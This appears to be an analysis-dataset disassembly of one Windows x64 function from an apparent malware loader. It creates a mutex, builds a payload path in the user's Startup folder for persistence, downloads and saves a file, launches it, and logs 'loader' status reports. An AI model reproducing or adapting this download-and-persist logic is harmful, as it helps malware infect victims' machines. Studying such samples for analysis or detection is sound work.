Function at 0x140004930
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x490
mov rax, qword [0x14004c070]
xor rax, rsp
mov qword [rsp + 0x480], rax
xor ebx, ebx
lea r8, str.hsavesdf
xor edx, edx
xor ecx, ecx
call qword [0x14004f408]
mov qword [0x14004f298], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp qword [0x14004f298], rbx
je 0x1400049e0
cmp eax, 0xb7
jne 0x1400049ec
lea rcx, str.Program_exist__n
call fcn.140001f40
mov rcx, qword [0x14004f298]
call qword [0x14004f338]
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.14000f550
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rcx, str.Create_Mutex_Error__n
call fcn.140001f40
mov rax, qword [0x14004cfb8]
cmp rax, 6
jb 0x140004a32
lea rdi, [0x14004cfa0]
cmp rax, 8
cmovae rdi, qword [0x14004cfa0]
mov qword [0x14004cfb0], 6
mov r8d, 0xc
lea rdx, str.loader
mov rcx, rdi
call fcn.1400115d0
mov word [rdi + 0xc], bx
jmp 0x140004a3c
mov edx, 6
call fcn.14000cf20
lea rcx, [rsp + 0xc0]
call fcn.1400047b0
nop
mov r8d, 1
lea rdx, [0x140045ddc]
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [0x14004f3b0]
cmp qword [0x14004f3c8], 0x10
cmovae rdx, qword [0x14004f3b0]
mov r8, qword [0x14004f3c0]
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x140], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x128], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x138], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140004b4b
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062dd
call fcn.14000fa98
movdqa xmm0, xmmword [0x140046130]
movdqu xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x140004ba7
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004ba2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062e3
call fcn.14000fa98
movdqa xmm0, xmmword [0x140046130]
movdqu xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0xc0], 0
lea rcx, [rsp + 0x148]
call fcn.1400047b0
nop
mov r8d, 8
lea rdx, str.Report
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x118], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x108], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x118], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x17
lea rdx, str.loader_first_connect_._n
lea rcx, [rsp + 0x108]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x140004cba
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004cb5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062e9
call fcn.14000fa98
movdqa xmm0, xmmword [0x140046130]
movdqu xmmword [rsp + 0x118], xmm0
mov byte [rsp + 0x108], 0
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x140004d16
inc rdx
mov rcx, qword [rsp + 0x148]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004d11
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062ef
call fcn.14000fa98
lea r12, [0x14004f350]
mov rsi, r12
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
cmp rdx, 0x10
cmovae rsi, rcx
mov r13, qword [0x14004f360]
cmp r13, 4
jb 0x140004dd2
lea r14, [rsi + r13]
lea r8, [r14 - 3]
sub r8, rsi
mov edx, 0x40
mov rcx, rsi
call fcn.140012040
mov rdi, rax
test rax, rax
je 0x140004dc4
lea r15, [0x140045e74]
nop
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rdi + rcx]
inc rcx
cmp al, byte [r15 + rcx - 1]
jne 0x140004d98
cmp rcx, 4
jne 0x140004d80
mov eax, ebx
jmp 0x140004d9d
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004e48
inc rdi
lea r8, [r14 - 3]
sub r8, rdi
mov edx, 0x40
mov rcx, rdi
call fcn.140012040
mov rdi, rax
test rax, rax
jne 0x140004d70
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
mov r14, 0xffffffffffffffff
mov rdi, r14
mov r15, r12
cmp rdx, 0x10
cmovae r15, rcx
cmp r13, 4
jb 0x140004ebf
lea r12, [r15 + r13]
lea r8, [r12 - 3]
sub r8, r15
mov edx, 0x23
mov rcx, r15
call fcn.140012040
mov r9, rax
lea rsi, [0x140045e7c]
test rax, rax
je 0x140004e8e
nop dword [rax]
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rsi + rcx - 1]
jne 0x140004e65
cmp rcx, 4
jne 0x140004e30
mov eax, ebx
jmp 0x140004e6a
sub rdi, rsi
mov r14, 0xffffffffffffffff
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x140004ddc
sbb eax, eax
or eax, 1
test eax, eax
je 0x140004ea5
inc r9
lea r8, [r12 - 3]
sub r8, r9
mov edx, 0x23
mov rcx, r9
call fcn.140012040
mov r9, rax
test rax, rax
jne 0x140004e20
lea r12, [0x14004f350]
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x140004ec6
sub r9, r15
lea r12, [0x14004f350]
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x140004ec9
lea rsi, [0x140045e7c]
mov r9, r14
movsxd rax, edi
cmp r9, rax
jae 0x140004f66
mov rdi, r12
cmp rdx, 0x10
cmovae rdi, rcx
cmp r13, 4
jb 0x140004f61
lea r15, [rdi + r13]
lea r8, [r15 - 3]
sub r8, rdi
mov edx, 0x23
mov rcx, rdi
call fcn.140012040
test rax, rax
je 0x140004f53
nop dword [rax]
nop word [rax + rax]
mov rdx, rbx
movzx ecx, byte [rax + rdx]
inc rdx
cmp cl, byte [rsi + rdx - 1]
jne 0x140004f2a
cmp rdx, 4
jne 0x140004f13
mov ecx, ebx
jmp 0x140004f2f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140004fd8
inc rax
lea r8, [r15 - 3]
sub r8, rax
mov edx, 0x23
mov rcx, rax
call fcn.140012040
test rax, rax
jne 0x140004f10
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
mov rax, r14
mov edi, eax
mov r15, r12
cmp rdx, 0x10
cmovae r15, rcx
cmp r13, 4
jb 0x140005048
lea r12, [r15 + r13]
lea r8, [r12 - 3]
sub r8, r15
mov edx, 0x21
mov rcx, r15
call fcn.140012040
mov r9, rax
lea rsi, [0x140045e84]
test rax, rax
je 0x140005017
nop dword [rax]
nop word [rax + rax]
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rsi + rcx - 1]
jne 0x140004fee
cmp rcx, 4
jne 0x140004fc0
mov eax, ebx
jmp 0x140004ff3
sub rax, rdi
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x140004f64
sbb eax, eax
or eax, 1
test eax, eax
je 0x14000502e
inc r9
lea r8, [r12 - 3]
sub r8, r9
mov edx, 0x21
mov rcx, r9
call fcn.140012040
mov r9, rax
test rax, rax
jne 0x140004fb0
lea r12, [0x14004f350]
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x14000504f
sub r9, r15
lea r12, [0x14004f350]
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x140005052
lea rsi, [0x140045e84]
mov r9, r14
movsxd rax, edi
cmp r9, rax
jae 0x1400050e6
mov rdi, r12
cmp rdx, 0x10
cmovae rdi, rcx
cmp r13, 4
jb 0x1400050e1
lea r15, [rdi + r13]
lea r8, [r15 - 3]
sub r8, rdi
mov edx, 0x21
mov rcx, rdi
call fcn.140012040
test rax, rax
je 0x1400050d3
nop dword [rax]
mov rdx, rbx
movzx ecx, byte [rax + rdx]
inc rdx
cmp cl, byte [rsi + rdx - 1]
jne 0x1400050aa
cmp rdx, 4
jne 0x140005093
mov ecx, ebx
jmp 0x1400050af
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x140005158
inc rax
lea r8, [r15 - 3]
sub r8, rax
mov edx, 0x21
mov rcx, rax
call fcn.140012040
test rax, rax
jne 0x140005090
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
mov rax, r14
mov edi, eax
mov r15, r12
cmp rdx, 0x10
cmovae r15, rcx
cmp r13, 4
jb 0x1400051c8
lea r12, [r15 + r13]
lea r8, [r12 - 3]
sub r8, r15
mov edx, 0x26
mov rcx, r15
call fcn.140012040
mov r9, rax
lea rsi, str.__
test rax, rax
je 0x140005197
nop dword [rax]
nop word [rax + rax]
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r9 + rcx]
inc rcx
cmp al, byte [rsi + rcx - 1]
jne 0x14000516e
cmp rcx, 4
jne 0x140005140
mov eax, ebx
jmp 0x140005173
sub rax, rdi
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x1400050e4
sbb eax, eax
or eax, 1
test eax, eax
je 0x1400051ae
inc r9
lea r8, [r12 - 3]
sub r8, r9
mov edx, 0x26
mov rcx, r9
call fcn.140012040
mov r9, rax
test rax, rax
jne 0x140005130
lea r12, [0x14004f350]
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x1400051cf
sub r9, r15
lea r12, [0x14004f350]
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x1400051d2
lea rsi, str.__
mov r9, r14
movsxd rax, edi
cmp r9, rax
jae 0x140005266
mov rdi, r12
cmp rdx, 0x10
cmovae rdi, rcx
cmp r13, 4
jb 0x140005261
lea r15, [rdi + r13]
lea r8, [r15 - 3]
sub r8, rdi
mov edx, 0x26
mov rcx, rdi
call fcn.140012040
test rax, rax
je 0x140005253
nop dword [rax]
mov rdx, rbx
movzx ecx, byte [rax + rdx]
inc rdx
cmp cl, byte [rsi + rdx - 1]
jne 0x14000522a
cmp rdx, 4
jne 0x140005213
mov ecx, ebx
jmp 0x14000522f
sbb ecx, ecx
or ecx, 1
test ecx, ecx
je 0x1400053b0
inc rax
lea r8, [r15 - 3]
sub r8, rax
mov edx, 0x26
mov rcx, rax
call fcn.140012040
test rax, rax
jne 0x140005210
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
mov rax, r14
mov edi, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x120], rbx
movsxd r8, edi
cmp r13, r8
cmovb r8, r13
cmp rdx, 0x10
cmovae r12, rcx
mov rdx, r12
lea rcx, [rsp + 0x108]
call fcn.140001b20
nop
lea rcx, [rsp + 0xc0]
call fcn.1400047b0
nop
mov r8d, 4
lea rdx, str.ID
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rsp + 0x108]
cmp qword [rsp + 0x120], 0x10
cmovae rdx, qword [rsp + 0x108]
mov r8, qword [rsp + 0x118]
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x1400053cb
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400053c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062f5
jmp 0x1400053c6
sub rax, rdi
mov rcx, qword [0x14004f350]
mov rdx, qword [0x14004f368]
jmp 0x140005264
call fcn.14000fa98
movdqa xmm0, xmmword [0x140046130]
movdqu xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x140005427
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005422
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400062fb
call fcn.14000fa98
mov dword [rsp + 0x100], 0x64
lea rdx, [rsp + 0x100]
lea rcx, [rsp + 0x410]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea r13, [0x14004f3b0]
mov rax, r13
cmp qword [0x14004f3c8], 0x10
cmovae rax, qword [0x14004f3b0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x410]
lea r8, str.C:Users_sAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_s
mov edx, 0x12c
lea rcx, [rsp + 0x2e0]
call fcn.140002000
xorps xmm0, xmm0
movups xmmword [rsp + 0xe0], xmm0
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], rbx
lea rax, [rsp + 0x2e0]
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400054b0
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0xe0]
call fcn.140001b20
nop
lea rdi, [rsp + 0xe0]
mov r15, qword [rsp + 0xe0]
mov r12, qword [rsp + 0xf8]
cmp r12, 0x10
cmovae rdi, r15
mov rsi, qword [rsp + 0xf0]
test rsi, rsi
je 0x14000559b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x1e0], xmm0
movups xmmword [rsp + 0x1f0], xmm0
movups xmmword [rsp + 0x200], xmm0
movups xmmword [rsp + 0x210], xmm0
movups xmmword [rsp + 0x220], xmm0
mov qword [rsp + 0x230], rax
mov dword [rsp + 0x238], eax
xor edx, edx
mov r8d, 0xa3
lea rcx, [rsp + 0x23d]
call fcn.140011c80
mov byte [rsp + 0x23c], 1
lea rax, [rsi - 1]
mov r8, r14
cmp rax, 0xffffffffffffffff
cmovb r8, rax
add r8, rdi
movzx eax, byte [r8]
cmp byte [rsp + rax + 0x1e0], 0
jne 0x140005596
nop word [rax + rax]
cmp r8, rdi
je 0x14000559b
dec r8
movzx eax, byte [r8]
cmp byte [rsp + rax + 0x1e0], 0
je 0x140005580
sub r8, rdi
jmp 0x14000559e
mov r8, r14
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xd0], xmm1
cmp rsi, r8
cmovb r8, rsi
lea rdx, [rsp + 0xe0]
cmp r12, 0x10
cmovae rdx, r15
lea rcx, [rsp + 0xc0]
call fcn.140001b20
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x14000561c
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005617
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006301
call fcn.14000fa98
movups xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsp + 0xe0], xmm0
movups xmm1, xmmword [rsp + 0xd0]
movups xmmword [rsp + 0xf0], xmm1
lea rcx, [rsp + 0xe0]
movq rdx, xmm0
psrldq xmm1, 8
movq rax, xmm1
cmp rax, 0x10
cmovae rcx, rdx
call qword [0x14004f400]
cmp eax, 0xffffffff
je 0x14000566a
test al, 0x10
jne 0x140005677
lea rcx, [rsp + 0xe0]
call fcn.140006c90
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
lea rax, [rsp + 0x2e0]
mov r8, r14
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400056a0
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0xc0]
call fcn.140001b20
lea rcx, [rsp + 0xc0]
call fcn.140006370
test al, al
je 0x14000591b
lea rcx, [rsp + 0xc0]
call fcn.1400047b0
nop
mov r8d, 8
lea rdx, str.Report
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xb0], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x2e
lea rdx, str.loader_exit_because_download_target_is_exist._n
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x1400057ce
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006307
call fcn.14000fa98
movdqa xmm0, xmmword [0x140046130]
movdqu xmmword [rsp + 0xb0], xmm0
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0x10
jb 0x14000582b
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005825
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000630d
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0x10
jb 0x14000586e
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005869
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006343
call fcn.14000fa98
mov qword [rsp + 0xf0], rbx
mov qword [rsp + 0xf8], 0xf
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0x120]
cmp rdx, 0x10
jb 0x1400058ce
inc rdx
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400058c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006349
call fcn.14000fa98
nop
mov rdx, qword [rsp + 0x140]
cmp rdx, 0x10
jb 0x140005911
inc rdx
mov rcx, qword [rsp + 0x128]
mov r8, rcx
cmp rdx, 0x1000
jb 0x14000590c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x14000634f
call fcn.14000fa98
mov eax, 1
jmp 0x1400049ae
lea r15, [0x14004f310]
lea rcx, [rsp + 0x128]
cmp qword [rsp + 0x140], 0x10
cmovae rcx, qword [rsp + 0x128]
mov rsi, r15
cmp qword [0x14004f328], 0x10
cmovae rsi, qword [0x14004f310]
call fcn.140018ae4
mov rdi, rax
mov rcx, rsi
call fcn.140018ae4
mov rcx, rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
mov r9d, 2
call fcn.140002b90
cmp eax, 1
jne 0x140006156
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
lea rax, [rsp + 0x2e0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x1400059b0
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x50]
call fcn.140001b20
lea rcx, [rsp + 0x50]
call fcn.140006370
test al, al
je 0x140005ef8
cmp qword [0x14004f3c8], 0x10
cmovae r13, qword [0x14004f3b0]
mov r9, r13
lea r8, [rsp + 0x410]
lea rdx, str.C:Users_sAppDataLocal_s
lea rcx, [rsp + 0x1e0]
call fcn.14000c970
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
mov qword [rsp + 0xd0], rbx
mov qword [rsp + 0xd8], rbx
lea rax, [rsp + 0x1e0]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x140005a33
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0xc0]
call fcn.140001b20
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x148], xmm0
mov qword [rsp + 0x158], rbx
mov qword [rsp + 0x160], rbx
lea rax, [rsp + 0x2e0]
inc r14
cmp byte [rax + r14], 0
jne 0x140005a76
mov r8, r14
lea rdx, [rsp + 0x2e0]
lea rcx, [rsp + 0x148]
call fcn.140001b20
nop
lea rax, [rsp + 0x80]
mov qword [rsp + 0x70], rax
lea rdx, [rsp + 0xc0]
lea rcx, [rsp + 0x80]
call fcn.1400092c0
mov rdi, rax
lea rdx, [rsp + 0x148]
lea rcx, [rsp + 0x50]
call fcn.1400092c0
nop
mov rdx, rdi
mov rcx, rax
call fcn.140006430
lea rcx, [rsp + 0x80]
call fcn.1400047b0
nop
mov r8d, 8
lea rdx, str.Report
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x1d
lea rdx, str.loader_save_file_successful._n
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140005bda
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bd5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006313
call fcn.14000fa98
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x140005c39
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c34
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006319
call fcn.14000fa98
mov ecx, 0x11558
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x174], xmm0
movups xmmword [rsp + 0x184], xmm0
movups xmmword [rsp + 0x194], xmm0
movups xmmword [rsp + 0x1a4], xmm0
movups xmmword [rsp + 0x1b4], xmm0
movups xmmword [rsp + 0x1c4], xmm0
mov dword [rsp + 0x1d4], eax
mov dword [rsp + 0x170], 0x68
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x170]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x10
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x2e0]
call qword [0x14004f3d0]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x80]
call fcn.1400047b0
nop
mov r8d, 8
lea rdx, str.Report
mov rcx, rax
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0xa0], xmm0
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0xa0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0xb0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0x14
lea rdx, str.loader_strdup_file._n
lea rcx, [rsp + 0xa0]
call fcn.14000b130
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rbx
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x60], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x50]
call fcn.140006bb0
nop
mov rdx, qword [rsp + 0xb8]
cmp rdx, 0x10
jb 0x140005dfb
inc rdx
mov rcx, qword [rsp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005df6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000631f
call fcn.14000fa98
mov qword [rsp + 0xb0], rbx
mov qword [rsp + 0xb8], 0xf
mov byte [rsp + 0xa0], 0
mov rdx, qword [rsp + 0x98]
cmp rdx, 0x10
jb 0x140005e5a
inc rdx
mov rcx, qword [rsp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e55
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006325
call fcn.14000fa98
cmp byte [0x14004f2a0], 0
je 0x140005e69
call fcn.140006700
nop
mov rdx, qword [rsp + 0x160]
cmp rdx, 0x10
jb 0x140005ead
inc rdx
mov rcx, qword [rsp + 0x148]
